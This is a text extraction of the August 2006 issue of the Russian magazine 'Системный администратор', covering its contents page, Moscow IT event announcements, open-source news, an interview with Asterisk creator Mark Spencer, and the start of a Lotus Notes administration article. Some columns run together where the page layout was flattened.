№8(45) август 2006

подписной индекс 20780

www.samag.ru

Windows Firewall:

№8(45) август 2006

защищаем внутренние
ресурсы сети
Биллинг на FreeBSD:
пишем сами
Проводим инвентаризацию
сети средствами SMS 2003
Как устроена
файловая система JFS
Тестируем
движки поисковых машин
Настраиваем
DrWeb Enterprise Suite
Аудит и дизассемблирование
эксплоитов
Интервью
с cоздателем Asterisk
Так видит журнал читатель, который забыл оформить подписку:
№5(30) май 2005
подписной индекс 81655

СЬ
www.samag.ru

И
Почему MS SQL медленно работает?

ИЛ
Ищем причины
ЛИ
ТЯ Е

Строим защищенную беспроводную сеть:

ЗА ДНИ

Ж П
WPA-Enterprise, 802.1x EAP-TLS
НУ

РА КУ
Настраиваем UPS под Linux
ЛЫ ГО

ТИ РАС
Как восстановить
удаленные файлы под BSD
КУ ВО

Что важно знать об IP-телефонии

РО
танавливаем Symantec Antivirus 9.0
НИ НО

в корпоративной сети

СТ
Эффективно управляем
полями пользователей в AD

БЫ
Контролируем безопасность сети
с помощью OSSIM
КА

Интервью с Ларри Уоллом –

создателем языка Perl

И
ЬГ
ЬД О
РА СКА
ТЕ
К

ИС НН
ЕН
УС

БО
НА ТПУ

ИЛ ДА
ТП

НЧ ЖИ
ВО

РА Е О

КО НЕО
АВ С Л
Л

Л
ХА

ПО
УЕ

ЗА
Так видит журнал читатель, оформивший подписку:
№5(30) май 2005
подписной индекс 81655
www.samag.ru

Почему MS SQL медленно работает?

Ищем причины
Строим защищенную беспроводную сеть:
WPA-Enterprise, 802.1x EAP-TLS
Настраиваем UPS под Linux
Как восстановить
удаленные файлы под BSD
Что важно знать об IP-телефонии
танавливаем Symantec Antivirus 9.0
в корпоративной сети
Эффективно управляем
полями пользователей в AD
Контролируем безопасность сети
с помощью OSSIM
Интервью с Ларри Уоллом –
создателем языка Perl

ПОДПИШИТЕСЬ И ЧИТАЙТЕ!
Роспечать – 20780, 81655
Пресса России – 87836
Интер-почта – тел. (495) 500-00-60
 в номере
3 СОБЫТИЯ ЧЕЛОВЕК НОМЕРА
5 ТЕНДЕНЦИИ 50 Волшебник из страны… Воз
Легендарный создатель компьютеров Apple I и Apple II
ИНТЕРВЬЮ Стив Возняк верит в сказки и сам создает их.
Оксана Родионова
6 Марк Спенсер: «Это Asterisk привлекает rodion@dol.ru
пользователей к Linux, а не наоборот»
Интервью с создателем популярной программной офис- БЕЗОПАСНОСТЬ
ной станции Asterisk. Дмитрий Шурупов
osa@samag.ru 54 Windows Firewall:
защищаем внутренние ресурсы сети
АДМИНИСТРИРОВАНИЕ Сейчас локальная сеть любой, даже совсем небольшой
организации защищена от внешних угроз. Настолько ли
8 Lotus Notes на Windows 2K/XP хорошо защищены ресурсы внутренней сети?
в *NIX-домене Андрей Бирюков
Одна из схем настройки работы клиента Lotus Notes mex_inet@rambler.ru
на рабочих станциях с Windows 2K /XP в домене
на *NIX-сервере. Мыкола Буряк 58 Аудит и дизассемблирование эксплоитов
x86@gmx.net Эксплоиты, демонстрирующие наличие дыры (proof-of-
concept), обычно распространяются в исходных текс-
12 Проводим инвентаризацию сети тах, однако, основной функционал заключен в shell-
средствами SMS 2003 коде, анализ которого представляет весьма нетриви-
Хорошо настроенный SMS существенно сократит ва- альную задачу. Крис Касперски
ше время, затрачиваемое на рутинную работу по ин- kk@sendmail.ru
вентаризации сети. Дмитрий Щербаков
dimich_25@mail.ru 68 Настраиваем DrWeb Enterprise Suite
Один из способов защитить предприятие от вирус-
18 Современный Linux-сервер: ной активности. Антон Борисов
виртуализируем сетевые устройства a.borisov@tesv.tmb.ru
Часть 2
Воплотить схему виртуализации совершенно неслож- WEB
но. А дополнительно можно построить адаптивную сис-
тему коммутации. Алексей Барабанов 74 Контролируем доступ к веб-сервису
alekseybb@mail.ru с помощью DACS
Если для настольных систем проблему аутентифика-
26 Как работает Sendmail? ции и авторизации можно считать решенной, то стан-
Полезные подробности дартные механизмы, используемые в веб-сервисах,
Часть 4: взаимодействие со сторонними пока еще не удовлетворяют современным требовани-
программами ям безопасности. Сергей Яремчук
Возможностей Sendmail не всегда хватает для реше- grinder@ua.fm
ния всего многообразия задач. Но открытость ПО тем
и хороша, что позволяет наращивать мощь практичес- 80 Тестируем движки поисковых машин
ки без ограничений. Сергей Супрунов Большинство из вас каждый день пользуется поис-
amsand@rambler.ru ковыми машинами в Интернете. Какие они изнутри
и чем отличаются? Иван Максимов
34 Биллинг на FreeBSD: ivan_maksimov@inbox.ru
пишем сами, используя PHP, trafd и MySQL
Если пользователи жалуются, что Интернет «тормозит», РЕТРОСПЕКТИВА
а начальство ругается, что счета от провайдера слиш-
ком большие, покупка готового биллинга – не единс- 86 Сеть друзей: история Fidonet
твенный выход. Александр Чагадаев Фидо… Для кого-то это слово – пустой звук, для мно-
adc@a-d-c.ru гих из вас – часть жизни, пусть, быть может, и прошлой.
Но история первого в России компьютерного сообщес-
40 Обзор дистрибутива Ubuntu 6.06 тва будет интересна каждому. Илья Александров
Вышла новая версия уже почти культового дистрибу- ilya_al@rambler.ru
тива, который ворвался на рынок Linux-систем и по
показателю популярности оставил позади даже таких
«монстров», как Fedora Core и OpenSUSE.
Сергей Супрунов
amsand@rambler.ru КНИЖНАЯ ПОЛКА
42 Как устроена файловая система JFS 92 Обзор книжных новинок
Показатели производительности файловой системы JFS Александр Байрак
не впечатляют. Хотя она спроектирована стройно и чет- x01mer@pisem.net
ко, а алгоритмы обработки данных и метаданных отли-
чаются высокой степенью оптимизации. Попробуем ра- 73, 91, 94 BUGTRAQ
зобраться, в чем же дело. Андрей Пешеходов
fresco_pap@mail.ru

№8, август 2006 1


В Москве одновременно пройдут четыре
международные IT-выставки
 Когда: 4-5 сентября
 Где: г. Москва, Экспоцентр на Красной Пресне,
павильон №2 (Краснопресненская наб., 14)
 Подробности: http://www.linuxworldexpo.ru
http://www.infosecuritymoscow.com
http://www.storage-expo.ru
http://www.documation.ru
Четыре одновременные международные выставки-
конференции: LinuxWorld Russia, Infosecurity Russia,
Storage Expo и Documation – одно из самых значимых
событий в IT-сфере.
Здесь соберутся все ведущие отечественные и зарубеж-
ные IT-специалисты, а также представители делового ми-
ра, заинтересованные в применении современных инфор-
мационных технологий в бизнесе.
LinuxWorld – ведущая международная выставка-кон-
ференция, посвящённая Linux и решениям с открытым ис-
ходным кодом. Это уникальная площадка для демонстра-
ции любых продуктов, приложений, решений и услуг в об-
ласти Open Source!
Бесплатная деловая программа:
 Электронное правительство: повышения качества уп-
равления за счет решений Open Source.
 Открытые стандарты.
 Построение корпоративной IT-инфраструктуры на базе
Open Source-решений.
 Средства обеспечения информационной безопасности.
 Технологии кластеризации.
 Распределенные информационно-вычислительные
комплексы (P2P, Grid, поисковые машины, порта-
лы и др.).
 Технологии визуализации.
 Новейшие разработки.
№8, август 2006
события
 Linux для встраиваемых и мобильных устройств.
 Презентации продуктов и решений крупных компаний.
Среди докладчиков – признанные эксперты мирового
уровня: Troy Dawson (Fermilab Computing Division/CSS CSI
Group); Jim Zemlin (исполнительный директор FSG), а так-
же представители Минэкономразвития России, Центра
Верификации Linux, IBM, консорциума GO4IT, компаний
Linux Инк, Monta Vista, PalmSource, Бюро ЮНЕСКО, ФАИТ
и другие.
Зарегистрировавшись на Linux World, вы сможете также
посетить проходящие одновременно в Экспоцентре специ-
ализированные выставки Infosecurity Russia 2006, Storage
Expo 2006 и Documation Russia 2006.
В этом году в рамках Infosecurity Russia предусмотрена
насыщенная деловая программа, включающая в себя трех-
дневную конференцию «ИБ: международный опыт + рос-
сийская практика», а также более 60 круглых столов, се-
минаров и презентаций компаний.
Острые темы обсуждения круглых столов и дискуссий:
 Новые угрозы безопасности информации.
 Перспективы IT-сферы после вступления России
в ВТО.
 Концепции безопасности бизнеса в различных отрас-
лях.
 Решения проблем ИБ на примере Олимпиады-2006 в Ту-
рине.
 Возможности продвижения российских продуктов
на международном рынке.
Среди докладчиков – признанные эксперты мирового
уровня: Каролин Турбифилл (экс-глава Internet Commerce
Group в Sun Microsystems; вице-президент Counterpane
Internet Security); Брюс Шнайер (основатель Counterpane
Internet Security; известный специалист по криптогра-
фии); Стив Хант (экс-аналитик Forrester Research; прези-
дент 4A International), Александр Владимирович Галицкий
3
 события
(консалтинг; российский президент European Tech Tour
Russian 2004).
Темы дискуссий на трехдневной конференции Storage
Expo:
 Тенденции и направления развития рынка систем хра-
нения.
 Виртуализация в системах хранения.
 Технологии гарантированного долговременного хране-
ния данных.
 Обеспечение непрерывности бизнес-процессов.
 Альтернативные технологии доступа к данным.
 Технологии резервного копирования.
 Вопросы архивирования корпоративных данных.
 Взаимосвязь и взаимовлияние бизнес и storage-реше-
ний и другие вопросы.
Выставка и конференция Documation сфокусирована
на новейших решениях и технологиях в области эффектив-
ного управления информацией, электронного документо-
оборота и контент-менеджмента.
Особое внимание будет уделяться бесплатной конфе-
ренции с докладами от ведущих экспертов отрасли, а так-
же демонстрации продуктов и услуг от крупнейших пред-
приятий рынка. Documation собирает профессиональную
аудиторию всех тех, кто стремится управлять своей дело-
вой информацией эффективно и выгодно.
Темы дискуссий:
 Управление жизненным циклом информации.
 Безопасность данных и информации в СЭД.
 Проблемы внедрения, успехи внедрения, модели внед-
рения.
 Вопросы стандартизации и сертификации СЭД, обме-
на данными между различными СЭД.
Регистрация на выставки-конференции: http://www.
linuxworldexpo.ru/ticket.ru.html, http://www.infosecuritymoscow.
com/ticket.ru.html, а также на любом из сайтов выставок.
4
LinuxLand/SofTool’2006
 Когда: 26-29 сентября
 Где: г. Москва, ВВЦ, павильон № 69
 Подробности: http://www.linuxland.ru
Компании ИТ-Экспо и Линуксцентр приглашают вас
принять участие в выставке информационных техно-
логий SofTool’2006, где планируется собрать ведущие
российские Linux-компании в одном секторе выставоч-
ной площади LinuxLand.
SofTool’2006 – единственное мероприятие, где Linux-
компании получат возможность представить свои продук-
ты конечным пользователям и корпоративным клиентам од-
новременно. Это самое массовое из проводимых в данной
отрасли мероприятий. На LinuxLand соберутся поставщи-
ки Linux и различных решений для этой ОС: Mandriva, IBM,
Novell, R-Style, HP, Oracle, ASPLinux, Linux-Online (разработ-
чик Linux XP), НПО «Сеть» (разработчик MOPSLinux), Bitrix,
ПРОМТ, Etersoft и Linuxcenter.ru, журнал Linux Format, обра-
зовательный центр Lynx Education Center и другие. Помимо
выставочных стендов, на экспозиции традиционно будет
расположена демо-зона, где посетители LinuxLand смогут
познакомиться с предлагаемыми продуктами.
В этом году в рамках LinuxLand состоится междуна-
родная конференция «ИТО-2006: Технологии Linux и Open
Source», первый день будет посвящен обсуждению про-
грамм внедрения Open Source в образование ЮНЕСКО, до-
кладам и презентациям лидеров Linux-индустрии и Linux-об-
разования. В остальные дни пройдут мастер-классы и тре-
нинги по технологиям Linux и Open Source. Участники кон-
ференции получают кейсы со сборниками трудов, учебными
пособиями и дистрибутивами Linux и Open Source. Для по-
лучения материалов необходима регистрация.
Зарегистрироваться для участия в конференции в ка-
честве слушателя вы можете по адресу: http://www.linuxland.
ru/conf.phtml.
 тенденции
Corel восстановила прибыльность, ентированные на бизнес возможности к основному продук-
отойдя от Linux-бизнеса ту и включают в себя услуги поддержки. Об этом стало из-
Корпорация Corel, пережив 6 лет финансовых трудностей вестно от президента и основателя Hyperic Хавьера Сол-
и реорганизаций, объявила о возвращении к публичной теро (Javier Soltero).
торговле с многообещающими отчетами за первый и вто-
рой кварталы 2006 года, отмечает NewsForge. Как сообщил Стартовал первый «Сезон KDE»
Грэхэм Браун (Graham Brown), исполнительный вице-прези- Разработчики популярной свободной графической оболоч-
дент разработки программного обеспечения в Corel, одним ки KDE объявили о запуске первого «Сезона KDE».
из шагов для этого стал отказ компании от Linux-продуктов: Season of KDE – проект, дополняющий «Лето кода»
WordPerfect for Linux и Corel Linux. В 2001 году Xandros ли- и призванный так или иначе довести до логического кон-
цензировала у Corel права на код Corel Linux. В 2002 году, ца разработку всех приложений, которые не стали фина-
когда вышли следующие версии WordPerfect Office, Corel листами в студенческой инициативе Google. Уже объяв-
перестала поддерживать редакции для GNU/Linux. В 2003 лено о том, что 14 студентов дали согласие на разработку
году Vector Capital приобрела Corel, после чего она стала своих проектов даже без финансовой поддержки со сто-
частной компанией, ориентированной на Windows-рынок. роны Google. Подробности о «Сезоне KDE» 2006 доступны
Браун охарактеризовал решение Corel отказаться на http://developer.kde.org/seasonofkde.
от Corel Linux как «успешную стратегию для Corel и как ран-
ний шаг навстречу переориентации бизнеса». Поправка к новости «Проект FreeDOS
Тем не менее Corel продолжает проявлять интерес к сво- официально закрыт» из прошлого
бодной ОС GNU/Linux. Помимо того, что у компании сохра- выпуска
нились отношения с Xandros (связанные с разработкой дист- Cообщение о смерти свободной ОС FreeDOS оказалось
рибутива), Corel продавала обновленную версию текстового лишь «шуткой» автора проекта. В день 12-летия FreeDOS
процессора WordPerfect for Linux на своем веб-сайте в 2004 Джим Холл (Jim Hall) действительно поместил на главной
году на протяжении 6 месяцев. Этот шаг, по словам Брауна, странице freedos.org новость о смерти проекта, однако в от-
был нацелен на то, чтобы «помочь оценить положение рын- вет на реакцию сообщества он заявил, что это была лишь
ка офисных пакетов для Linux». Однако назвать результаты «ужасная шутка». Более того, в ближайшее время состоит-
позитивными трудно: «На данный момент мы не наблюда- ся финальный релиз FreeDOS 1.0.
ем достаточного спроса от наших основных потребителей
и заказчиков из сферы малого бизнеса для того, чтобы га- Составил Дмитрий Шурупов
рантировать разработку наших Linux-продуктов». по материалам www.nixp.ru

NetBSD получила полную

поддержку Xen 3
Благодаря усилиям Мануэля Боуйера (Manuel Bouyer) в сво-
бодной операционной системе NetBSD появилась полная
поддержка свободного средства виртуализации Xen 3. Под-
держка Xen3 DomU действовала в NetBSD еще с конца мар-
та, однако добавленная недавно функциональность позво-
ляет также запускать контролирующий или привилегиро-
ванный Xen3-домен под NetBSD. Подробности доступны на
сайте порта NetBSD/xen (http://www.netbsd.org/Ports/xen).

Hyperic перестраивает бизнес

на Open Source
Начинающая компания из Сан-Франциско (США) Hyperic
запустила проект Open Source вокруг своего одноименно-
го ПО с целью дополнить корпоративное ПО управления
дешевым продуктом и бизнес-моделью открытого кода.
Hyperic опубликовала исходный код программного обес-
печения Hyperic HQ и открыла веб-сайт для пользовате-
лей и разработчиков, которые, как полагают в компании,
помогут с устранением ошибок и написанием различных
дополнений.
ПО управления Hyperic HQ следит за тем, что проис-
ходит в сетях организации и оповещает администраторов
о том, что произошло то или иное событие. Hyperic будет
распространять это свое ПО бесплатно под свободной ли-
цензией GNU GPL. Деньги же планируют зарабатывать на
корпоративных подписках, что добавляют различные ори-

№8, август 2006 5

 интервью

Марк Спенсер: «Это Asterisk привлекает

пользователей к Linux, а не наоборот!»

Крупные конференции позволяют взглянуть на давно знакомых людей с другой стороны.

На прошедшем в конце июня мероприятии Interop Moscow представилась возможность
пообщаться с лучшими представителями IT-индустрии, прямым образом повлиявшими
на ее положение сегодня. Один из них – Марк Спенсер.

Б
лагодаря своей увлеченнос-
ти открытым ПО и стечению
обстоятельств он смог совер-
шить маленькую революцию в те-
лекоммуникациях и подарил миру
мощную, а главное – свободную за-
мену дорогостоящим коммерческим
PBX – Asterisk. Марк поделился мыс-
лями об этом продукте и об откры-
том ПО в интервью нашему коррес-
понденту.
Asterisk создавался для исполь-
зования в рамках одной компании
как продукт с ограниченным набо-
ром необходимых функций. Выби-
рать для такого ПО свободную ли-
цензию – явление незаурядное. По-
чему Open Source?
Это не первый мой программный про-
дукт подобного рода. Мое увлечение
Open Source возникло еще задолго
до того, как появилась необходимость
в подобном приложении. Например,
раннее я написал открытый IM-кли-
ент Gaim. Поэтому открытый исходный Открытость кода – главный фак-
код казался мне чем-то естественным. тор, сделавший Asterisk таким по-
Кроме того, важным фактором в поль- пулярным?
зу Open Source было и то, что ПО со- Факторов, конечно же, много, и не сто-
здавалось для Linux. ит ограничиваться одной открытос-
тью. Все зависит от того, кто исполь-
Если это так, то не совсем понятно, зует Asterisk. Для небольших компа-
почему же ныне здравствует поли- ний более важным фактором являет-
тика двойных стандартов (двойно- ся существенная экономия, получае-
го лицензирования) в отношении мая при выборе Asterisk. Для крупных
к Asterisk, ведь проблемы с коде- компаний стоимость не играет столь
ками вроде G.729 можно решить существенной роли – для них дейс-
публикацией продукта под какой- твительно важнее возможность само-
нибудь BSD-подобной лицензией, стоятельно изменять код под свои за-
позволяющей совмещать закрытые просы, что и обеспечивается моделью
разработки с открытыми. Open Source.
Мы стремимся сделать продукт гиб-
ким, насколько это возможно. Таким Монолитная модель программы тра-
образом, пользователи в зависимос- диционно является препятствием на
ти от своих потребностей получают ли- пути к включению новых возмож-
бо полностью открытую версию, либо ностей. Как удается сохранять вы-
редакцию, которая поддерживает все сокий уровень стабильности и свое-
(в том числе технологии, требующие временно совершенствовать про-
внедрения закрытого кода), но за до- дукт, отвечая на потребности поль-
полнительную стоимость. зователей и рынка?

6
 интервью
Asterisk разрабатывается как Linux-яд-
ро. Важно следить за тем, чтобы добав- Марк Спенсер торое время после основания фирмы, за-
ляемые части кода не влияли на пра- Родился в семье двух профессоров и уже нимающейся Linux-консалтингом, Марку
вильность функционирования написан- в 8-м классе написал и продал программу потребовалось установить офисную те-
ного ранее. Благодаря подключаемым своему учителю за 5 долларов. Позже он лефонную станцию. Однако все доступ-
модулям Asterisk является масштаби- стал автором таких известных в сообщест- ные решения были слишком дорогостоя-
руемым, его можно начинать использо- ве Open Source-проектов, как клиент мгно- щими, он не мог себе их позволить и поэ-
вать с прицелом на расширение набора венного обмена сообщениями Gaim (http:// тому решился на написание собственной,
выполняемых функций в будущем. При gaim.sourceforge.net) и программная офис- открытой PBX.
этом в небольшой объем удается вмес- ная телефонная станция (PBX) Asterisk Теперь Asterisk используется множест-
тить все необходимые возможности. (http://www.asterisk.org). История создания вом компаний по всему миру, а фирма Спен-
последней весьма интересна: через неко- сера Digium занимается ее поддержкой.
Но в прошлом году от Asterisk от-
ветвился проект OpenPBX. Чем это возможности, за долгое время сущес- Теперь я его только использую. На мой
вызвано? Реакцией сообщества твования продукта сложилось силь- взгляд, это пример фантастическо-
на медлительность в добавлении ное и крупное сообщество. А начинать го успеха программного обеспечения
новых функций, недовольством об- с нуля подобный проект сложно, и ему с открытым кодом. Разработкой Gaim я
щим направлением развития? потребуется не один год для того, что- занимался около трех месяцев – прос-
Очень важно соблюдать постоянный бы достич серьезного уровня. Кроме то для экспериментирования в приме-
баланс между включением новых воз- того, многие компании уже сейчас за- нении GTK+. Однако опыт, полученный
можностей в код продукта и сохране- рабатывают на Asterisk. в ходе его создания и работы с сооб-
нием его стабильности. Естествен- ществом, стал очень полезным в бу-
но, находятся люди, которые счита- Способствует ли резкий рост попу- дущем – он демонстрирует, насколько
ют, что в Asterisk не всегда достаточно лярности Linux (в том числе и в те- значительной может оказаться любая
быстро появляются какие-то новшест- лекоммуникационной среде, где от- Open Source-практика.
ва. Но ведь мы еще заботимся и о ста- крытую ОС продвигают организа-
бильности, и о чистоте кода. Это не- ции вроде лаборатории OSDL) рас- Каким вы видите будущее програм-
простая задача, впрочем, еще ни один пространению Asterisk? много обеспечения: полностью от-
из ответвившихся проектов не был ус- Пожалуй, текущая ситуация носит диа- крытое, полностью проприетарное,
пешным. метрально противоположный харак- или эти два направления будут как-
тер: скорее, благодаря Asterisk поль- то смешиваться?
На последовавшее предположе- зователи переходят на Linux. Посто- Перспективы мне видятся в смеше-
ние о существовании каких-либо се- янно встречаются клиенты, которым нии продуктов с открытым и закры-
рьезных каналов связи между Asterisk по тем или иным причинам симпатичен тым кодом. Модель Open Source ус-
и его ответвлениями Марк ответил от- Asterisk и они мигрируют на родную для пешна по двум причинам: такое ПО
рицательно, добавив, что это только него платформу. В свою очередь Linux- может быстро захватывать огром-
на первый взгляд (создаваемых проек- пользователи не так часто отказыва- ную часть рынка и оно может совер-
тов) так просто поддерживать и разви- ются от уже применяемых ими реше- шенствоваться благодаря поправкам
вать подобную кодовую базу, но стоит ний в пользу Asterisk. и новшествам, добровольно добавля-
только взяться за дело, как возникает емым людьми со всего мира. В то же
множество трудностей. В полушутли- Ответ на вопрос о поддержке Asterisk время на рынке настольных ПК сложи-
вой манере он отметил, что не хотел гигантами IT-индустрии не удивил упо- лась такая ситуация, что люди знают,
бы возникновения ситуаций вроде ис- минанием таких компаний, как IBM как использовать Windows – им обыч-
ка SCO против IBM/Linux. и Intel, на blade-серверах которых пре- но не представляется интересным пе-
красно функционирует свободная PBX. реучиваться на что-то другое. Зато им
Вашей компании Digium удалось до- Здесь все логично: раз они продвига- нужны инновации, а здесь уже лидерс-
биться заметных успехов в телеком- ют Linux-серверы для предприятий во- тво на стороне Open Source.
муникационном бизнесе. Не ожида- обще, то почему бы и не обеспечивать В конечном итоге для любого пот-
ете ли вы, что это может привести поддержку предназначенного для них ребителя есть три критерия оценки
к появлению множества компаний, ПО с открытым кодом в виде Asterisk, продукта: цена, производительность
которые попробуют повторить ваш что может пригодиться практически лю- и простота использования. Поэтому
путь, а в итоге – к Open Source-ре- бой компании. Пришло время подиску- производители стремятся ориентиро-
волюции в телекоммуникационной тировать на более отвлеченные от глав- ваться на достижение наиболее удач-
индустрии? ного детища Спенсера вопросы. ной комбинации этих критериев, выби-
До тех пор пока наш проект не прова- рая соответствующие запросам про-
лился, достаточно трудно выйти на ры- Вы являетесь автором другого по- граммные средства.
нок телекоммуникаций с собственной пулярного Open Source-проекта –
открытой PBX. Asterisk делает свою Gaim. Что он для вас значит сейчас, текст: Дмитрий Шурупов,
работу, оперативно получает новые помогаете ли вы его развитию? фото: Йон Холл

№8, август 2006 7

 администрирование
Lotus Notes на Windows 2K/XP
в *NIX-домене
Хотите разместить на home персональные файлы пользователей Lotus Notes? И при этом
сохранить полную функциональность клиента? Ищете простой переход на безопасную схему?
Тогда эта статья для вас!
В
о многих крупных организациях
стандарт де-факто для группо-
вой работы в локальной, распре-
деленной и глобальной сетях – комп-
лексное решение Lotus Notes и Domino
корпорации IBM. C момента появления
первой версии Notes в конце 1989 года
миллионы пользователей используют
Lotus Notes и Domino как базовую кор-
поративную коммуникационную инф-
раструктуру для коллективного взаи-
модействия и совместного использо-
вания информационных ресурсов.
8
Мыкола Буряк
Сегодня семейство клиент-сер- Стоимость одной лицензии IBM Lotus
верных приложений Lotus Notes Notes with messaging с поддержкой
и Domino входит в число ведущих про- в течение 12 месяцев составляет 96,11
граммных продуктов в отрасли, и мно- доллара США. Минимальное количес-
гие компании считают это ПО осно- тво клиентских лицензий ограничено
вой для эффективной и продуктив- в 100 единиц.
ной работы.
Приведу ориентировочные цены Стандартные
на некоторые продукты Lotus Software. возможности
Стоимость одной лицензии IBM Lotus Теперь перейдем к настройке много-
Domino Messaging Server с поддержкой пользовательской среды на базе *NIX/
в течение 12 месяцев составляет 1225 Windows для оптимального функцио-
долларов США за один процессор [3]. нирования Lotus Notes.
 администрирование

Серверы и клиенты
Семейство продуктов Domino Server состо-
ит из трех основных видов серверов [1]:
 IBM Lotus Domino Messaging Server –
предназначен только для доступа
к функциям обмена сообщениями
и планирования Domino. Этот вид сер-
вера предусматривает поддержку
разбиения на разделы, позволяющую
иметь несколько экземпляров серве-
ров Domino на одном и том же физи-
ческом сервере.
 IBM Lotus Domino Enterprise Server –
предоставляет все функции коллектив-
ной работы в Domino, а также функции
обмена сообщениями и планирования.
В дополнение к поддержке разбиения
на разделы сервер Enterprise предус-
матривает поддержку кластеризации.
 IBM Lotus Domino Utility Server – пре-
доставляет неограниченный доступ
к основанным на Domino приложени-
ям без лицензии клиентского досту-
па Client Access License (CAL). Такие
приложения могут бать расположены
на Intranet-, Extranet- или интернет-сай-
те и доступны как авторизованным, так
и неавторизованным пользователям
через клиент Notes или браузер.
Семейство продуктов Lotus Notes со-
стоит из следующих клиентских мест:
 IBM Lotus Notes – сочетает в едином
клиенте интегрированные функции
электронной почты, календаря, груп-
пового планирования и управления ин-
формацией в Web. Данный вид клиен-
та имеет широкий спектр инструментов
для организации коллективной работы
и обмена сообщениями.
 IBM Lotus Domino Web Access – пред-
лагает удобные способы для получе-
ния доступа к базовым функциям Lotus
Domino в области организации коллек-
тивной работы и обмена сообщения-
ми, инструментам PIM через веб-бра-
узер. В отличие от пользователей Lotus
Notes, пользователям Lotus Domino
Web Access требуется только стандар-
тный веб-браузер.
 IBM Lotus Domino Access for Microsoft
Outlook – предоставляет пользовате-
лям Microsoft Outlook 2000/2002 среду
Domino, доступ к функциям электрон-
ной почты и календаря и к другим воз-
можностям Lotus Domino, в том числе
к полнотекстовому поиску.
 IBM Lotus Domino WebMail – предо-
ставляет пользователям экономичный
доступ (через веб-браузер) к функциям
электронной почты и календаря Lotus
Domino.
 IBM Lotus Workplace Messaging – по-
могает легко и без значительных за-
трат расширить корпоративную систе-
му обмена сообщениями для охвата со-
трудников, не имеющих собственного
рабочего стола и доступа к электрон-
ной почте.

Пусть на рабочих станциях будет установлена ОС из ли- пользователей в роуминг-пользователей, выберете на сер-
нейки Windows, например, Windows 2K/XP, с клиентом вер- вере Lotus Domino нужных вам пользователей и активизи-
сии Lotus Notes 6.5.х. Рабочие станции входят в домен под руйте им опцию Roaming User (см. рис. 1). Последнее поз-
управлением *NIX-системы, с установленной SAMBA вер- волит серверу Lotus Domino осуществлять и контролировать
сии 2.2.x в том числе. Все пользователи имеют учетные за- копирование персональных файлов пользователя Lotus
писи и бюджет на доменном *NIX-сервере. Каждому предо- Notes с рабочей станции каждого пользователя на серве-
ставлен сетевой диск (home) и загрузочный bat-фалы (ло- ры Lotus Domino и обратно. Роуминг-пользователи могут
гонные скрипты). Также есть физически удаленный сервер работать только с клиентом, установленным как multi-user
Lotus Domino версии 6.5.х. install. Отмечу, что при конфигурации Roaming User копи-
Для многопользовательской среды, когда за одним руются только базовые персональные настройки пользова-
компьютером работают несколько пользователей, т.е. нет теля, что ограничивает функциональность Lotus Notes. Так-
закрепленного рабочего места за каждым пользовате- же к недостаткам можно отнести то, что ощутимо возраста-
лем, предусмотрен такой вид инсталляции Lotus Notes, ет трафик между рабочими станциями и сервером. В слу-
как multi-user install [4]. Этот вид установки предназначен чае когда количество пользователей несколько сотен чело-
только для Windows-систем и позволяет каждому пользо- век, а пропускная способность канала весьма ограничена,
вателю сохранять свои персональные рабочий стол, ад- то указанный вариант становится непрактичным.
ресную книгу, свойства и др. всегда обновленными. Про-
граммные файлы инсталлируются в общую директорию,
например, в C:\Lotus\Notes, а персональные файлы поль-
зователей, включая конфигурационный notes.ini, хранятся
в директории C:\Documents and Settings\<username>\Local
Settings\Application Data\Lotus\Notes\Data. Если в конфигу-
рации доменного *NIX-сервера нет возможности активизи-
ровать функцию записи поддиректории Local Settings вмес-
те с профайлом пользователя на доменный сервер, а коли-
чество пользовательских файлов Lotus Notes и соответс-
твенно их объем остаются неограниченными, то данный
вид инсталляции теряет свою функциональность. В гете-
рогенной среде *NIX/Windows всегда имеется большая ве-
роятность частичной потери или повреждения профайла
пользователя при загрузке и выгрузке профиля на рабо-
чую станцию и с неё.
Картина будет неполной, если я не упомяну такой вид
Рисунок 1. Активация опции Roaming User на сервере
пользователя, как Roaming User. Чтобы перевести обычных Lotus Domino

№8, август 2006 9

 администрирование
Требования к серверной части [2]
Платформа Windows 2000 Windows NT Windows 2003 AIX Linux Solaris
Red Hat Enterprise Linux 2.1;
Windows 2003 Server
Windows 2000 Server; AIX 5.1; Red Hat Enterprise Linux 3.0;
Standard Edition; Solaris 8;
Поддерживаемые ОС Windows 2000 Windows NT4 Intel AIX 5.2; SUSE LINUX Enterprise Server 8.0;
Windows 2003 Server Solaris 9
Advanced Server AIX 5.3 UnitedLinux 1.0;
Enterprise Edition
Powered by UnitedLinux 1.0
PowerPC, POWER,
Поддерживаемые
Intel Pentium POWER2, POWER3 Intel x86 UltraSPARC and newer
процессоры
RS64, POWER5
192 Мб минимум, 192 Мб минимум,
128 Мб минимум, 128 Мб минимум, рекомендуется
ОЗУ 256 Мб минимум рекомендуется рекомендуется
рекомендуется 192 Мб или больше 192 Мб или больше
256 Мб или больше 256 Мб или больше
Дисковое пространство 1 Гб минимум, рекомендуется 1.5 Гб или больше 1 Гб минимум, рекомендуется 1.5 Гб или больше
Дисковое пространство
В 2 раза больше физического ОЗУ В 3 раза больше физического ОЗУ
для SWAP

Тонкая настройка xcopy "C:\Lotus\Notes\Data\pid.nbf" ↵

"H:\Lotus\Notes\Data\" /d /c /h /r /y
Явный вариант решения нашей задачи – разместить пер- xcopy "C:\Lotus\Notes\Data\headline.nsf" ↵
сональные файлы Lotus Notes на сетевых дисках пользо- "H:\Lotus\Notes\Data\" /d /c /h /r /y
xcopy "C:\Lotus\Notes\Data\desktop6.ndk" ↵
вателей. При этом в настройках Lotus Notes нужно про- "H:\Lotus\Notes\Data\" /d /c /h /r /y
писать путь к персональным файлам. В домене, осно-
ванном на Active Directory, указанный выше вариант бу- Logoff_script.vbs в невидимом окне вызывает пакет-
дет беспрепятственно работать без каких-либо ограниче- ный файл lotus_copy.cmd. После чего происходит за-
ний [5]. При реализации этого решения в нашем сценарии держка на 5 секунд для того, чтобы успел выполниться
*NIX-сервер будет блокировать множество сетевых запро- lotus_copy.cmd.
сов клиента Lotus Notes к персональным файлам пользо- Lotus_copy.cmd при отключении пользователя с рабо-
вателей. Вследствие этого корректное функционирова- чей станции копирует часть персональных файлов на се-
ние клиента Lotus Notes будет проблематичным или кли- тевой диск, например H:\.
ент вообще откажет в работе. Поэтому предлагаю схему На общедоступном ресурсе размещаем папку new_
настройки Lotus Notes и Domino в данной многопользова- lotus, в корне которой находятся файлы logon_lotus.cmd,
тельской среде: lotus_save_lite.cmd и lotus_notes_6_5.lnk.
Учетные записи пользователей на сервере Lotus Domino Logon_lotus.cmd – пакетный файл, вызываемый из за-
